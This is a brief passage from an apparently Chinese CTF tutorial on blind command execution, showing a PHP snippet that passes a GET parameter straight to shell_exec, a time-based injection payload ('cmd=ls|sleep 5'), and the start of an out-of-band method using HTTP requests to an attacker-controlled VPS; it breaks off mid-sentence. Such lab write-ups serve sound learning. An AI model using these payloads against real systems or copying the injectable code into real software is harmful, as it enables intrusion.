[CTF]命令执行无回显利用

背景

exec,shell_exec等函数可以执行命令但没有回显，我们需要寻找方法来得到命令执行后的结果

<?php 
   highlight__file(__FILE__)
   shell_exec($_GET[cmd]);
    ?>

判断命令是否执行

延时

利用sleep函数

cmd=ls|sleep 5

HTTP请求

目标主机通过向VPS发起HTTP请求，VPS监听到请求则代表命令执行成功(注意：ping命令不